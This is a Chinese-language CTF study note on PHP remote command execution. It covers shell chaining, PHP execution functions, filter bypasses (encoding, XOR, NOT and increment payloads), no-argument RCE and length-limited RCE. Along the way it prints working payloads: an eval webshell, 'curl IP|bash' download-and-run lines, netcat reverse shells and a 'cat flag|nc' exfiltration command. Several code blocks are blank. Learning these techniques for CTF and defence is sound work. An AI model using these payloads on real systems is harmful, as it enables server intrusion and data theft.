RCE
RCE
RCE(remote command/code execute,远程命令执行)漏洞:以PHP为例,system、exec、shell_exec、passthu、popen、proc_popen等函数可以执行系统命令。当我们可以控制这些函数的参数时,就能运行我们想运行的命令,从而进行攻击。
命令拼接符号(Linux)
|:管道符,前面命令标准输出,后面命令的标准输入,或者说将前面的命令的输出内容作为后一个命令的标准输入,比如:1
2
3echo "JGZsYWc9WkxBUllZezJMNDd5WX0="|base64 -d
输出内容:
$flag=ZLARYY{2L47yY}当然,就算后面的命令不需要输入内容也可以执行:
1
2
3echo "You are "|whoami
输出内容:
ZLARYY //whoami命令执行的结果,可以看到不会输出前面的命令执行的内容&:将前面的命令放在后台执行,不等前面的命令执行结束就开始执行后面的命令,还有一种用法是在一行命令末尾加上&符号使其放在后台运行,比如下载文件……:1
2
3
4
5
6echo "flag=ZLARYY"&echo "{2L47yY}"
输出内容:
[1] 2354 //[1]表示任务编号,是当前终端回话中开启的第一个后台任务,可以通过jobs命令查看,2354为进程ID(PID,Process ID),可以通过kill 2354来强制停止这个任务
{2L47yY} //这个是后面的前台命令执行的结果
flag=ZLARYY //前面的后台命令执行的结果||:逻辑或,只有前面的命令执行失败才会执行后面的命令:1
2
3
4
5
6
7
8echo "ZLARYY"||echo "can I be exeuted?"
输出内容:
ZLARYY
cat /flag.txt || echo "找不到 flag 文件!"
输出内容:
cat: /flag.txt: No such file or directory
找不到 flag 文件!&&:逻辑与,只有前面的命令执行成功才会执行后面的命令:1
2
3
4
5
6
7
8echo "ZLARYY"&&echo "sure I can be exeuted!"
输出内容:
ZLARYY
sure I can be exeuted!
cat /flag.txt&&echo "can I be executed?"
输出内容:
cat: /flag.txt: No such file or directory;:顺序执行,不论前面的命令执行是否成功,都会先执行前面的命令再执行后面的命令:1
2
3
4echo "ZLARYY";echo "{2L47yY}"
输出内容:
ZLARYY
{2L47yY}$()和`:把括号或反引号里面的命令先执行,然后把它的输出结果当作字符串拼接到外层命令中:1
2
3echo "You are $(whoami)"
输出内容:
You are ZLARYY //将$()替换为``输出结果相同():子shell运行,在一个全新且独立的子环境中执行,不会影响当前环境的变量或目录:1
2(cd /tmp;ls)
//输出内容是ls /tmp的内容,但不会改变当前环境所在目录{}:和()类似,把命令组合起来但是是在当前环境中执行:1
2
3{ cd /tmp;ls; }
//输出内容为ls /tmp,并且目录跳转到/tmp
该符号使用必须在大括号内前后加上空格,并且最后一个命令必须加上分号
系统命令连接符(windows)
&:先执行前面的命令,再执行后面的命令:
1 | echo "ZLA"&echo "RYY" |
&&:逻辑与,只有前面的命令执行成功才会执行后面的命令:1
2
3sort flag.txt&&echo "can I be executed?"
echo "sure I can be executed!"&&echo "can I be executed?"
|:把前一个命令的输出结果当作后一个命令的标准输入:1
dir|findstr "flag.txt"
||:逻辑或,只有前面的命令执行失败才会执行后面的命令:1
2
3sort flag.txt||echo "can I be executed?"
echo "sure I can be executed!"||echo "can I be executed?"

系统命令执行函数
system()
其作用是把当前正在运行的程序暂停后让底层操作系统(windows的CMD或Linux的Bash)执行一条系统命令之后返回结果
1 | system(string $command, int &$result_code = null): string|false |
$command:要执行的系统命令
$result_code:可选参数,存储命令执行后的返回状态码
返回值:成功返回输出的最后一行,失败返回false
1 |
|
这段代码展现了system()的命令执行功能
1 |
|
1 |
|
可以看到,前面的命令执行成功的话返回状态码为0,失败则返回1,并且就算命令执行失败也不影响后续代码执行
除此之外,system函数可以将命令执行的结果直接返回到界面上:
1 |
|
passthru()
passthru()是php中用于执行外部程序并直接输出原始结果的函数,与system()函数差不多
1 | passthru(string $command, int &$result_code = null): ?false |
- $command:为要执行的系统命令字符串
- $result_code: 可选,用于接收命令的退出状态码
- 成功返回null,失败返回 false
1 |
|
不过相较于system()函数,passthru()可以把原始的二进制流正确地传给浏览器显示或下载
1 |
|
最后你能打开浏览器看到图片文件
exec()
相较于system()和passthru(),exec()只会将命令输出的最后一行作为函数的返回值,如果想得到完整输出内容 需要给他提供一个数组变量作为第二个参数,将每一行结果存储进去
1 |
|
由于我们在cmd中执行echo命令最终执行内容其实为:
1 | ZLARYY |
最后一行为空
1 |
|
可以用var_dump或者print_r打印数组
shell_exec()
该函数可以将命令的完整输出作为字符串返回,但和exec函数一样不会主动返回
1 | shell_exec(string $command): string|false|null |
1 |
|
popen()
popen就是pipe open,该函数不会返回命令执行结果,而是返回一个文件指针,但是命令已经执行
1 | popen(string $command, string $mode): resource|false |
- $command:要执行的系统命令,可包含参数及重定向(如2>&1捕获错误输出)。
- $mode:”r”表示从进程读取(STDOUT),”w”表示向进程写入(STDIN)。在 Windows 下可用 “rb” / “wb” 避免换行符转换。
- 返回值是一个类似fopen()的文件指针,但必须用pclose()关闭。
1 |
|
可以使用stream_get_contents()函数或者fread()
1 |
|
在实际应用popen函数中要记得使用pclose关闭pipe
proc_open()
proc_open和popen两个函数的区别在于:popen函数只能建立单向的pipe(要么只能读”r”,要么只能写”w”),如果命令执行报错可能拿不到报错信息,而proc_open不仅能和底层操作系统建立进程联系,还能一次性接通三个pipe:
1 | 标准输入 (Stdin - 0号管):你可以通过这根管子,源源不断地给程序发送指令或数据。 |
相较于其他函数,proc_open明显要麻烦许多:
1 |
|
当然也可以使用fread():
1 | $output=fread($pipes[1]); |
当我把flag.txt替换为/flag(实际不存在),也能实现报错:
1 | $error=stream_get_contents($pipes[2]); |
利用$pipes[0],我们还可以实现动态给sort命令写入数据
1 |
|
sort这个命令后续详细再提,在这里它的功能是按首字母进行排序,这里不用flag.txt是因为根本不会去执行sort flag.txt这个命令,因为你传进去的数据作为标准输入,而不是命令行参数
pcntl_exec()
pcntl 全称是 **Process Control (进程控制)**,直接调用了操作系统的核心系统调用(在 Linux 下底层就是 execve),它是专门为 Linux/Unix (POSIX 兼容) 系统设计的扩展,所以在windows环境下无法使用这个函数
1 | pcntl_exec(string $path, array $args = [], array $env_vars = []); |
- $path: 可执行文件的路径,或者包含解释器路径的脚本(如 #!/usr/bin/php)。
- $args: 传递给程序的参数数组。
- $env_vars: 传递给程序的环境变量数组,格式为 key => value。
调用pcntl_exec后,当前进程会被替换为指定的程序,原进程的代码段、数据段和堆栈段都会被新程序替换,但进程号保持不变。
1 |
|
执行到pcntl_exec之后,php脚本会消散而被bash身份取代
可以利用这个函数进行反弹shell:
1 |
|
eval
eval这个东西不属于系统命令执行函数一类,他可以将参数作为php代码来执行,但他又不属于函数一类,而是与echo,if,while等一类的语言结构,就连disable_function都限制不了
对于eval的应用还是特别常见的:
1 | @eval($_POST['cmd']); //一句话木马 |
当我们传入:
1 | cmd=ls |
就能实现目录穿越和文件查看了
1 |
|
assert
assert,翻译叫做断言,属于一个标准函数
1 | assert($a==1) |
但如果assert里面的内容不是判断语句,那么他就会像eval一样把字符串当作php代码执行。
1 |
|
preg_replace
这个函数原本是用来做正则表达式搜索和替换的:
1 |
|
不过在\e修饰下的preg_replace函数,php不会把替换后的内容当作普通字符串,而是当作php代码执行
1 |
|
这里输出两次是由于preg_replace进行了两次替换,第二次替换是将$flag字符串末尾的空字符替换了。
注意:替换后的内容现需要有返回值 ,否则会出现报错
1 |
|
这是由于我无法把echo 1赋值给一个变量,所以需要system函数提供返回值
php可变函数
php可变函数源自于php中的一个规则:如果在一个变量的后面加上一对圆括号 (),PHP 就会自动去寻找与这个变量的值同名的函数,并尝试执行它,注意:找的是同名函数,eval和echo这种语言结构不适用
1 |
|
1 | $func->system $arg->'type flag.txt'理解起来不难,最后一行代码变成了system('type flag.txt'); |
create_function
create_function最开始作用是创建函数:
1 |
|
不过他的底层逻辑实际上是这样:
1 | eval("function \0lambda_1($a,$b){return $a+$b;}") |
所以如果create_function内部参数可控的话,可以构造字符串闭合掉原本的function执行其他代码:
1 |
|
但如果我传入:
1 | ?name=ZLARYY";} system("type flag.txt");/* |
显然成功执行了后面的代码
call_user_func()
这个函数理解起来也挺好的,他有两个参数,第一个参数为函数名,第二个参数为函数内部的参数:
1 |
|
实际上就是执行了system('echo ZLARYY');
1 |
|
话说是不是很像php可变函数
call_user_func_array
这个函数与call_user_func函数差不多,只是他的第二个参数变成需要传入一个数组进去:
1 |
|
也就是说需要传入
1 | /?a=system&b[]=type flag.txt |
array_map
该函数的作用是把一个函数作用到数组的每一个元素中:
1 |
|
那么我们就可以利用它一次执行多个命令:
1 |
|
%26是&的URL编码,这里在传参只能用%26而不能用&连接
常规绕过
我们已经了解了RCE漏洞相关的函数和语言结构,现在可以看看一些常规的过滤绕过技巧了:
空格过滤
如果是web传参,可以用
%09和%20等URL编码代替
可以用
$IFS$1-9代替
用
${IFS}或者<>代替
花括号
{}1
2
3{sort,flag.txt}
//单命令最后也需要加上逗号
{ls,}
注:windows系统下测试${IFS}一类会失败,这些仅限于Linux的Bash
关键字过滤
base64编码绕过
1
2echo "c29ydCBmbGFnLnR4dA=="|base64 -d|sh
//利用管道符的标准输出与标准输入,实际上执行sort flag.txt
hex编码绕过
1
2
3echo "736f727420666c61672e7478740a"|xxd -r -p|sh
echo "sort flag.txt"|xxd //这行命令可以输出hex编码
如果服务器没有xxd命令可以使用$()命令替换等:
1
2
3
4
5$(printf "\x73\x6F\x72\x74\x20\x66\x6C\x61\x67\x2E\x74\x78\x74")
`printf "\x73\x6F\x72\x74\x20\x66\x6C\x61\x67\x2E\x74\x78\x74"`
printf "\x73\x6F\x72\x74\x20\x66\x6C\x61\x67\x2E\x74\x78\x74"|sh
拼接绕过
这个技巧在一些时刻可以用于拼接assert,但是不能用于拼接eval
1
2//假如过滤了sort
a=so;b=rt;$a$b flag.txt
%0a绕过绕过
;1
2ls%0acat /flag
//可以同时执行ls和cat命令内联执行
1
2echo "a `sort flag.txt`"
//命令行会先执行反引号里面的内容,再输出内容拼接到外层
引号截断
1
2sort fl""ag.txt
sort fl''ag.txt
通配符代替
1
2
3
4
5?可以用来代替匹配一个字符
*可以用来匹配多个字符
sort fl??????
sort fl*
反斜杠转义
1
2so\rt fl\ag.txt
//过滤了sort和flag字符
方括号
[]1
2sort fl[a]g.txt
//不可用于sort等关键字
无字母无数字RCE
异或
如果题目要求不能使用字母和数字:
1 | preg_replace('/[a-z0-9]/is',$_GET['cmd']) |
可以采用异或运算:
1 | 如果a,b两个值不相同则异或结果为1,相同则为0 |
1 |
|
这里的结果显示5和Z的异或结果为o,具体原理如下:
1 | 5的二进制:00110101 |
所以我们可以通过其他字符比如%$*&等经过异或运算得到字母数字
1 |
|
在做无字母无数字RCE还有一个技巧就是用_来命名
这里给出橙子科技的异或运算脚本:
1 |
|
传入cmd为需要的字符串就可以得到结果
1 |
|
比如这道题目就可以用异或出来的两部分:
1 | 异或运算第一部分:+(+).&/ |
然后传入:
1 | /?cmd=$_="%2B(%2B).%26%2F"^"%5B%40%5B%40%40%40%40";$_(); |
如果我们希望执行其他一些RCE命令,可以通过写一句话木马(php5条件下):
1 |
|
1 |
|
这样我们就可以post提交ls,cat /flag等命令
此外还需要进行URL编码
php7条件下不能使用assert,但可以使用``` 反引号 : $_POST['_'] 但是没有回显
1 |
|
所以可以采用反弹shell:
1 | kali上开启监听: |
取反
具体思路与异或差不多,取反顾名思义就是按位将1变为0,将0变为1
1 | ~()会对括号里面的内容进行取反 |
1 |
|
这串代码输出a的 ASCII码结果为61,对应二进制为01100001,经过取反后变成10011110对应十六进制为9E,但是由于ASCII码十六进制最大为7F,故%9E这个字符其实不存在
1 |
|
但是经过取反可以看到输出了字母a,就可以实现无字母绕过
此外橙子科技 给了一种中文字符串的方法:
1 |
|
这个的payload老长一串,想一下还是用URL编码的poc吧(php5):
1 |
|
php7条件下还是用反引号:
1 |
|
然后还是使用shell反弹
自增
1 |
|
这串代码输出结果为B,利用这个原理我们可以实现绕过,只要获取A我们就可以获得其他字母
1 | ++$a //先累加再输出 |
获取A的方法:
1 |
|
原因是[]本来作为一个数组,后面用.拼接上字符串后var_dump结果就变成了字符串Array
1 |
|
那么我们就可以通过$_[0]获取字母A
但是又由于无数字,所以还需要稍作修改:
1 |
|
橙子科技的自增脚本:
1 |
|
传入:
1 | /?cmd=assert&post=POST |
结果为:
1 | $_=[].'';$___=$_[$__];$__=$___;$_=$___;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_.=$__;$_.=$__;$__=$___;++$__;++$__;++$__;++$__;$_.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_.=$__;$____ = "_";$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__; |
上面这一大段内容中就存在了assert和POST
1 | $_=[].'';$___=$_[$__];$__=$___;$_=$___;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_.=$__;$_.=$__;$__=$___;++$__;++$__;++$__;++$__;$_.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_.=$__;$____ = "_";$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__; |
最后两行就是$_POST和assert($_POST['_'])了
记得需要URL编码
php7只需要获得一个POST(前提是得先获得A):
1 | 传入/?cmd=a&post=POST |
1 | $_=[].'';$___=$_[$__];$__=$___;$_=$___;$____ = "_";$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__; |
无参数RCE
题目如下:
1 |
|
1 | preg_replace('/[^\W]+\((?R)?\)/','',$_GET['code']) |
其中这段代码:
1 | 正则表达式[^\W]匹配字母数字下划线[A-Za-z0-9_] |
1 |
|
可以看到这个匹配只把第二项替换为空,而题目的意思是如果被替换后的字符串只剩下分号,那么就放进去执行eval
请求头绕过
1 | getallheaders():获取所有HTTP请求标头 |
但是我们需要用print_r打印结果
使用view-source查看就是这样:
调用pos()函数获取getallheaders()返回数组的第一项内容,得到的却是Connection里面的内容,这里就是无参数RCE漏洞的利用地方了:
1 | Connection: system("sort flag.txt"); |
除了修改Header,还可以添加Header:
1 | apache_request_headers()功能与getallheaders()相似,适用于Apache服务器 |
全局变量(php5/7)
1 | get_defined_vars():返回所有已定义变量的值所组成的数组 |
之后我们可以通过添加传参数量来增加变量键值对
其实从前两张图不难看出结果是两个数组嵌套,上一张图片我采用了pos获取了数组中的第一个数组,现在我还想要获取这个数组中的最后一项的值,可以采用调用end函数:
那么和请求头绕过一样,我们可以将print_r改为eval就可以了:
session
1 | session_start():启动新会话或者重用现有会话,成功开始会话会返回TRUE,反之返回FALSE |
这样我们是不是就可以通过burp修改PHPSESSID为执行命令的函数来实现RCE了:
貌似不行,不过修改为flag.txt倒是能按预期显示:
那就好办了:
1 | show_source():可以查看括号内文件名所含的文件内容 |
不过如果想要执行eval的话也可以:
1 | 需要先把命令HEX编码转为十六进制写入PHPSESSID,再用hex2bin函数将十六进制转为二进制,用eval执行 |
其中PHPSESSID是system(“sort flag.txt”);的编码结果
scandir读取
scandir()
1 | scandir():类似ls,在某文件路径下,把内容以列表形式显示出来 |
1 |
|
getcwd()
1 | getcwd():类似pwd,获取当前工作目录路径 |
current()与next()
1 | current():返回数组的第一个内容,与pos()类似 |
array_reverse()
1 | array_reverse():按照倒序重新排列数组 |
array_flip()与array_rand()
1 | array_flip():将数组中的键名与值对换 |
每一次刷新界面都可能改变产生的随机值
chdir()
1 | chdir():系统调用函数,同cd,用于改变当前工作目录 |
如果是确定了路径返回为1,否则返回为0
strrev()
1 | strrev():用于反转给定的字符串 |
crypt()
1 | crypt():用于加密,目前Linux平台上的加密方法大致有MD5,DES,3 DES |
hebrevc()
1 | hebrevc():把希伯来文本从右至左的流转换为从左至右的流 |
localeconv()
1 | localeconv():查看当前目录名 |
这个数组的第一个键值对的值为一个点.,可以用current()获得,配合上scandir()就可以查看当前目录下的所有文件:
1 |
|
这里为了方便,我把php文件和flag.txt放在了flag文件夹里
那么我们可以采用这种方法:
1 | print_r(array_reverse(scandir(current(localeconv())))); |
用array_reverse把数组倒序排列之后我们就可以再用current()和show_source读取到文件内容了:
1 | show_source(current(array_reverse(scandir(current(localeconv()))))); |
dirname()
1 | dirname():可以把上一个目录的绝对路径输出 |
那么我想查看上级目录就可以用到:
1 | print_r(scandir(dirname(getcwd()))); |
不过这种条件下我们不能使用show_source来查看文件,因为show_source是基于当前页面路径来的,一定要查看的话就只能使用chdir()了
1 | /?code=print_r(chdir(dirname(getcwd()))); |
返回1说明目录跳转到上级成功
1 | /?code=print_r(scandir(dirname(chdir(dirname(getcwd()))))); |
我的理解就是后半部分为chdir跳转目录的参数,与实际是否跳转目录无关,最后再dirname帮助用户从视觉上跳转到上级目录,这样就可以用show_source查看文件了
那像这种情况,我想读取的文件既不在开头又不在末尾,就可以使用array_flip和array_rand
1 | /?code=print_r(array_flip(array_rand(scandir(dirname(chdir(dirname(getcwd()))))))); |
这样虽然是随机的,但是多刷新几次总会能用show_source查看到的:
1 | /?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); |
根目录
我想回到根目录怎么操作:
1 | /?code=print_r(array()); |
某些随机的结果下,字符串末尾会出现/根目录字符,此时只需要使用strrev进行倒序排列
1 | /?code=print_r(strrev(crypt(serialize(array())))); |
ord()与chr()
1 | ord():对字符串的第一个字符进行编码 |
有了这两个函数我们就可以从长串字符串中获得第一个/字符
1 | /?code=print_r(chr(ord(strrev(crypt(serialize(array())))))); |
然后我们继续采用scandir就可以实现与ls /一样的功能了:
1 | /?code=print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); |
通常情况下根目录下flag文件都不会出现在首末,所以又需要一个随机的array_rand(array_flip())套上去
1 | /?code=print_r(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array()))))))))); |
这样随机加上随机,等查看到flag不知道要刷新多少次,建议使用burp的intruder
还记得show_source的特性吗,必须还要嵌套上dirname(chdir()):
1 | /?code=print_r(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array()))))))))))); |
无回显
页面无法shell反弹或者无法回显,或者没有写入权限可以尝试命令盲注,根据返回时间判断
1 | sleep:指定页面响应时间 |
if判断语句:
1 | if [ /*条件*/ ];then /*动作*/;fi(finish的意思) |
所以可以类比SQL注入里面的时间盲注:
1 | if [ $(cat flag.txt|awk NR==1|cut -c 1)==f ];then sleep 2;fi |
如果条件为真,那么延迟两秒响应,这里是橙子科技给的python脚本:
1 | import requests |
需要修改的就是目标URL和传参格式以及命令
限制长度的RCE
这一part本人的docker有点问题就没有演示了orz
限制长度为7
例题:
1 |
|
需要的命令符:
1 | > 创建不超过七个长度的文件名 |
期望执行的命令:cat flag|nc /*IP*/ 7777比如:cat flag|nc 192.168.1.161 7777
我们的逻辑是将这一串命令分隔为几部分作为文件名,这些文件名用ls -t会按被创建的时间顺序排列:
1 | >ZL |
当我们按倒序创建文件之后,就可以利用ls -t>a将这些文件放在a文件中,最后sh a就可以执行需要的命令了:
1 | ?cmd=>7777 |
首先要开启kali监听:nc -lvp 7777
长度为5
1 |
|
由于长度为5的限制,导致ls -t>a无法使用,并且如果写为文件名为空格的话也只能写一次,因为文件名不能重复>\ \\(长度刚好为5),所以需要更换期望执行的命令:
1 | curl 192.168.1.161|bash |
同时还需要kali开启一个web服务默认index.html页面内容为:
1 | nc 192.168.1.161 -e /bin/bash |
然后执行curl命令就会下载默认页面的html内容并通过管道符交给bash执行,那么此时kali再开启监听就能看到命令执行的结果
不过由于无法使用ls -t>a,那我们首先还需要构造这一串命令:
1 | >ls\\ |
然后就是构造命令了:
1 | >bash |
1 | touch index.html |
长度为4
1 |
|
长度为4导致ls>>_不能使用
首先还是需要构造ls -t>g,其次我们需要构造反弹shell:curl 192.168.1.161|bash的变形:
1 | curl 0xC0A801A1|bash //IP地址的的十六进制 |
1 | dir 按列输出文件名,不换行 |
1 | >g\> |
同时为了防止g后面有其它文件名造成影响,可以多创建一个文件g\;用;去隔断后面字符的影响
然后就是创建curl命令的文件了,最后执行:
1 | sh x |
与限制长度为5一样需要kali开启index.html
